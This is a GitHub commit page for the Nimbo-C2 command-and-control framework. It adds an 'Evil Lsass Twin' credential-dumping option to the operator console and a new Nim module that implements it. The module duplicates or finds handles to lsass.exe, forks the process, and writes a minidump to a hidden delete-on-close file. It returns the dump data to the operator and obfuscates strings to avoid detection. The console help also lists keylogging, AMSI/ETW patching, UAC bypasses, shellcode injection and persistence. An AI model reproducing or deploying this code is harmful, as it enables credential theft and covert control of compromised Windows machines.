Skip to content

Commit

Permalink
Merge pull request #12 from itaymigdal/Improving
Browse files Browse the repository at this point in the history
Improving
  • Loading branch information
itaymigdal authored Sep 8, 2023
2 parents 0e6170c + eb4436a commit b46c256
Show file tree
Hide file tree
Showing 5 changed files with 365 additions and 136 deletions.
136 changes: 69 additions & 67 deletions Nimbo-C2/Nimbo-C2.py
Original file line number Diff line number Diff line change
Expand Up @@ -105,7 +105,8 @@
'lsass': {
'examine': None,
'direct': None,
'comsvcs': None
'comsvcs': None,
'eviltwin': None
},
'sam': None,
'shellc': None,
Expand Down Expand Up @@ -162,24 +163,24 @@ def exit_nimbo():
def print_main_help():
main_help = f"""
--== Agent ==--
agent list -> list active agents
agent interact <agent-id> -> interact with the agent
agent remove <agent-id> -> remove agent data
agent list -> List active agents
agent interact <agent-id> -> Interact with the agent
agent remove <agent-id> -> Remove agent data
--== Builder ==--
build exe -> build exe agent (-h for help)
build dll -> build dll agent (-h for help)
build elf -> build elf agent (-h for help)
build exe -> Build EXE agent (-h for help)
build dll -> Build DLL agent (-h for help)
build elf -> Build ELF agent (-h for help)
--== Listener ==--
listener start -> start the listener
listener stop -> stop the listener
listener status -> print the listener status
listener start -> Start the listener
listener stop -> Stop the listener
listener status -> Print the listener status
--== General ==--
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
cls -> Clear the screen
help -> Print this help message
exit -> Exit Nimbo-C2
"""

print(main_help)
Expand All @@ -189,92 +190,93 @@ def print_agent_help(os):

windows_help = f"""
--== Send Commands ==--
cmd <shell-command> -> execute a shell command
iex <powershell-scriptblock> -> execute in-memory powershell command
cmd <shell-command> -> Execute a shell command
iex <powershell-scriptblock> -> Execute in-memory powershell command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <local-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
download <remote-file> -> Download a file from the agent (wrap path with quotes)
upload <local-file> <remote-path> -> Upload a file to the agent (wrap paths with quotes)
--== Discovery Stuff ==--
pstree -> show process tree
checksec -> enum security products
software -> enum installed software
windows -> enum visible windows
modules -> enum process loaded modules
pstree -> Show process tree
checksec -> Enum security products
software -> Enum installed software
windows -> Enum visible windows
modules -> Enum process loaded modules
--== Collection Stuff ==--
clipboard -> retrieve clipboard
screenshot -> retrieve screenshot
audio <record-time> -> record audio
keylog start -> start keylogger
keylog dump -> retrieve captured keystrokes
keylog stop -> retrieve captured keystrokes and stop keylogger
clipboard -> Retrieve clipboard
screenshot -> Retrieve screenshot
audio <record-time> -> Record audio (waits for completion)
keylog start -> Start a keylogger in a new thread
keylog dump -> Retrieve captured keystrokes
keylog stop -> Retrieve captured keystrokes and stop the keylogger
--== Post Exploitation Stuff ==--
lsass examine -> examine lsass.exe protections
lsass direct -> dump lsass.exe directly (elevation required)
lsass comsvcs -> dump lsass.exe using rundll32 and comsvcs.dll (elevation required)
sam -> dump sam,security,system hives using reg.exe (elevation required)
shellc <raw-shellcode-file> <pid> -> inject shellcode to a remote process using indirect syscalls
assembly <local-assembly> <args> -> execute .net assembly (pass all args as a single quoted string)
lsass examine -> Examine Lsass protections
lsass direct -> Dump Lsass directly (elevation required)
lsass comsvcs -> Dump Lsass using Rundll32 and Comsvcs.dll (elevation required)
lsass eviltwin -> Dump Lsass using the Evil Lsass Twin method (elevation required)
sam -> Dump sam,security,system hives using reg.exe (elevation required)
shellc <raw-shellcode-file> <pid> -> Inject shellcode to a remote process using indirect syscalls
assembly <local-assembly> <args> -> Execute inline .NET assembly (pass all args as a single quoted string)
--== Evasion Stuff ==--
patch amsi -> patch amsi using indirect syscalls
patch etw -> patch etw using indirect syscalls
patch amsi -> Patch AMSI using indirect syscalls
patch etw -> Patch ETW using indirect syscalls
--== Persistence Stuff ==--
persist run <command> <key-name> -> set run key (will try first hklm, then hkcu)
persist spe <command> <process-name> -> persist using silent process exit technique (elevation required)
persist run <command> <key-name> -> Set run key (will try first HKLM, then HKCU)
persist spe <command> <process-name> -> Persist using Silent Process Exit technique (elevation required)
--== Privesc Stuff ==--
uac fodhelper <command> -> elevate session using the fodhelper uac bypass technique
uac sdclt <command> -> elevate session using the sdclt uac bypass technique
uac fodhelper <command> -> Elevate session using the Fodhelper UAC bypass technique
uac sdclt <command> -> Elevate session using the Sdclt UAC bypass technique
--== Interaction stuff ==--
msgbox <title> <text> -> pop a message box in a new thread
speak <text> -> speak using 'sapi.spvoice' com interface
msgbox <title> <text> -> Pop a message box in a new thread
speak <text> -> Speak a string using the microphone
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
sleep <sleep-time> <jitter-%> -> Change sleep time interval and jitter
clear -> Clear pending commands
collect -> Recollect agent data
kill -> Kill the agent (persistence will still take place)
--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
show -> Show agent details
back -> Back to main screen
cls -> Clear the screen
help -> Print this help message
exit -> Exit Nimbo-C2
"""

linux_help = f"""
--== Send Commands ==--
cmd <shell-command> -> execute a terminal command
cmd <shell-command> -> Execute a terminal command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <local-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
download <remote-file> -> Download a file from the agent (wrap path with quotes)
upload <local-file> <remote-path> -> Upload a file to the agent (wrap paths with quotes)
--== Post Exploitation Stuff ==--
memfd <mode> <elf-file> <commandline> -> load elf in-memory using the memfd_create syscall
implant mode: load the elf as a child process and return
task mode: load the elf as a child process, wait on it, and get its output when it's done
memfd <mode> <elf-file> <commandline> -> Load ELF in-memory using the memfd_create syscall
implant mode: load the ELF as a child process and return
task mode: load the ELF as a child process, wait on it, and get its output when it's done
(pass the whole command line as a single quoted string)
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
sleep <sleep-time> <jitter-%> -> Change sleep time interval and jitter
clear -> Clear pending commands
collect -> Recollect agent data
kill -> Kill the agent
--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
show -> Show agent details
back -> Back to main screen
cls -> Clear the screen
help -> Print this help message
exit -> Exit Nimbo-C2
"""

if os == "windows":
Expand Down Expand Up @@ -391,7 +393,7 @@ def agent_screen_windows(agent_id):
"command_type": "lsass-examine",
}

elif re.fullmatch(r"\s*lsass\s+(direct|comsvcs)", command):
elif re.fullmatch(r"\s*lsass\s+(direct|comsvcs|eviltwin)", command):
dump_method = re.sub(r"\s*lsass\s+", "", command, 1)
command_dict = {
"command_type": "lsass",
Expand Down
184 changes: 184 additions & 0 deletions Nimbo-C2/agent/windows/utils/incl/evillsasstwin.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,184 @@
# Modified code of https://github.com/RePRGM/Nimperiments/tree/main/EvilLsassTwin

import winim
import nimprotect
import ../helpers
import std/[strutils, dynlib, tables, net]

type
NtQuerySystemInformation_t = proc(SystemInformationClass: ULONG, SystemInformation: PVOID, SystemInformationLength: ULONG, ReturnLength: PULONG): NTSTATUS {.stdcall.}
NtDuplicateObject_t = proc(SourceProcessHandle: HANDLE, SourceHandle: HANDLE, TargetProcessHandle: HANDLE, TargetHandle: PHANDLE, DesiredAccess: ACCESS_MASK, HandleAttributes: ULONG, Options: ULONG): NTSTATUS {.stdcall.}
NtCreateProcessEx_t = proc(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ParentProcess: HANDLE, Flags: ULONG, SectionHandle: HANDLE, DebugPort: HANDLE, ExceptionPort: HANDLE, InJob: BOOLEAN): NTSTATUS {.stdcall.}
NtGetNextProcess_t = proc(ProcessHandle: HANDLE, DesiredAccess: ACCESS_MASK, HandleAttributes: ULONG, Flags: ULONG, NewProcessHandle: PHANDLE): NTSTATUS {.stdcall.}

{.emit: protectString("char procName[4096];").}
var procName {.importc, nodecl.}: cstring


proc enumLsassHandles(): seq[(ULONG, HANDLE)] =
var status: NTSTATUS
var ntdll = loadLib(protectString("ntdll.dll"))
var
NtQuerySystemInformation = cast[NtQuerySystemInformation_t](ntdll.symAddr(protectString("NtQuerySystemInformation")))
NtDuplicateObject = cast[NtDuplicateObject_t](ntdll.symAddr(protectString("NtDuplicateObject")))

var lsassHandles: seq[(ULONG, HANDLE)] = @[]
var handleInfo = initTable[ULONG, seq[USHORT]]() #Key = PID, Value = Seq[HANDLE]
var dupHandle: HANDLE

var rtrnLength: ULONG = 0
var shiBuffer = VirtualAlloc(NULL, sizeof(SYSTEM_HANDLE_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)

status = NtQuerySystemInformation(0x10, cast[PSYSTEM_HANDLE_INFORMATION](shiBuffer), cast[ULONG](sizeof(SYSTEM_HANDLE_INFORMATION)), addr rtrnLength)
while status == STATUS_INFO_LENGTH_MISMATCH:
VirtualFree(shiBuffer, 0, MEM_RELEASE)
shiBuffer = VirtualAlloc(NULL, rtrnLength, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
status = NtQuerySystemInformation(0x10, cast[PSYSTEM_HANDLE_INFORMATION](shiBuffer), rtrnLength, addr rtrnLength)

if NT_SUCCESS(status) != true:
return @[]

var shiEnd = shiBuffer + rtrnLength
var sHandle = shiBuffer + sizeof(LONG)

while cast[int](sHandle) <= cast[int](shiEnd):
sHandle = sHandle + sizeof(LONG)
var sysHandle = cast[PSYSTEM_HANDLE_INFORMATION](sHandle).Handle[0]
if not handleInfo.hasKey(sysHandle.OwnerPid) and (sysHandle.ObjectType != 0 and sysHandle.HandleFlags != 0 and (sysHandle.HandleValue != 0 and sysHandle.HandleValue != 65535)):
handleInfo[sysHandle.OwnerPid] = @[]
handleInfo[sysHandle.OwnerPid].add(sysHandle.HandleValue)

for pid in handleInfo.keys:

if pid == 4:
continue

for syshandle in handleInfo[pid]:
var pHandle: HANDLE = OpenProcess(PROCESS_DUP_HANDLE, FALSE, cast[DWORD](pid))

if GetLastError() != 0:
continue

status = NtDuplicateObject(pHandle, cast[HANDLE](syshandle), cast[HANDLE](-1), addr dupHandle, PROCESS_CREATE_PROCESS, 0, 0)
if NT_SUCCESS(status) != true:
continue

var oinfo: OBJECT_TYPE_INFORMATION
var oinfoBuffer = VirtualAlloc(NULL, sizeof(OBJECT_TYPE_INFORMATION), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
var ortrnLength: ULONG

status = NtQueryObject(dupHandle, cast[OBJECT_INFORMATION_CLASS](2), oinfoBuffer, cast[ULONG](sizeof(OBJECT_TYPE_INFORMATION)), addr ortrnLength)

while status == STATUS_INFO_LENGTH_MISMATCH:
VirtualFree(oinfoBuffer, 0, MEM_RELEASE)
oinfoBuffer = VirtualAlloc(NULL, ortrnLength, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
status = NtQueryObject(dupHandle, cast[OBJECT_INFORMATION_CLASS](2), oinfoBuffer, ortrnLength, addr ortrnLength)

if NT_SUCCESS(status) != true:
return @[]

oinfo = cast[OBJECT_TYPE_INFORMATION](oinfoBuffer)
var pname: cstring
var pname_size: DWORD = 4096
var oinfoTypeNameBufferValuePtr = oinfoBuffer+0x68
var oinfoTypeNameBufferValue = cast[PWSTR](oinfoTypeNameBufferValuePtr)

if $oinfoTypeNameBufferValue == protectString("Process"):
if QueryFullProcessImageNameW(dupHandle, 0, pname, addr pname_size) != 0:
if cmpIgnoreCase(winim.winstr.`$`pname, protectString("lsass.exe")) == 0:
lsassHandles.add((pid, dupHandle))
else:
CloseHandle(cast[HANDLE](syshandle))
CloseHandle(dupHandle)
else:
return @[]

VirtualFree(shiBuffer, 0, MEM_RELEASE)
return lsassHandles


proc evil_lsass_twin*(): string =
var hNtdll = loadLib(protectString("ntdll.dll"))
var status: NTSTATUS
var procOA: OBJECT_ATTRIBUTES

InitializeObjectAttributes(addr procOA, NULL, 0, cast[HANDLE](NULL), NULL)

var
NtCreateProcessEx = cast[NtCreateProcessEx_t](hNtdll.symAddr(protectString("NtCreateProcessEx")))
NtGetNextProcess = cast[NtGetNextProcess_t](hNtdll.symAddr(protectString("NtGetNextProcess")))

var dupHandlesSeq = enumLsassHandles()
var victimHandle: HANDLE = cast[HANDLE](NULL)
var pid: DWORD
var count: int = 1

if dupHandlesSeq.len == 0:

while NtGetNextProcess(victimHandle, MAXIMUM_ALLOWED, 0, 0, addr victimHandle) == 0:
count += 1

if GetProcessImageFileNameA(victimHandle, procName, MAX_PATH) == 0:
return ""

if lstrcmpiA(protectString("lsass.exe"), PathFindFileNameA(procName)) == 0:
pid = GetProcessId(victimHandle)
break

if victimHandle == 0:
return ""
else:
dupHandlesSeq.add((pid, victimHandle))

for handleTuple in dupHandlesSeq:
status = NtCreateProcessEx(addr victimHandle, PROCESS_ALL_ACCESS, addr procOA, handleTuple[1], cast[ULONG](0), cast[HANDLE](NULL), cast[HANDLE](NULL), cast[HANDLE](NULL), FALSE)
if NT_SUCCESS(status):
break

if NT_SUCCESS(status) == false:
return ""

var IoStatusBlock: IO_STATUS_BLOCK
var fileDI: FILE_DISPOSITION_INFORMATION
fileDI.DoDeleteFile = TRUE

var outFile = CreateFile(protectString("twin.txt"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, cast[HANDLE](NULL))

if outFile == INVALID_HANDLE_VALUE:
TerminateProcess(victimHandle, 0)
CloseHandle(victimHandle)
CloseHandle(outFile)
return ""

status = NtSetInformationFile(outFile, addr IoStatusBlock, addr fileDI, cast[ULONG](sizeof(fileDI)), 13)

if NT_SUCCESS(status) == false:
return ""

var miniDump = MiniDumpWriteDump(victimHandle, 0, outFile, 0x00000002, NULL, NULL, NULL)
if miniDump == TRUE:
TerminateProcess(victimHandle, 0)
else:
TerminateProcess(victimHandle, 0)
CloseHandle(outFile)

if miniDump == FALSE:
return ""

var size: DWORD = GetFileSize(outFile, NULL)
var hMapping: HANDLE = CreateFileMapping(outFile, NULL, PAGE_READONLY, 0, 0, "")
var mappedData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0)

var dataCstring = cast[cstring](mappedData)
var dataString = ""

for i in countup(0, size):
dataString.add(dataCstring[i])

UnmapViewOfFile(mappedData)
for handleTuple in dupHandlesSeq: CloseHandle(handleTuple[1])
CloseHandle(outFile)
CloseHandle(hMapping)

return dataString

Loading

0 comments on commit b46c256

Please sign in to comment.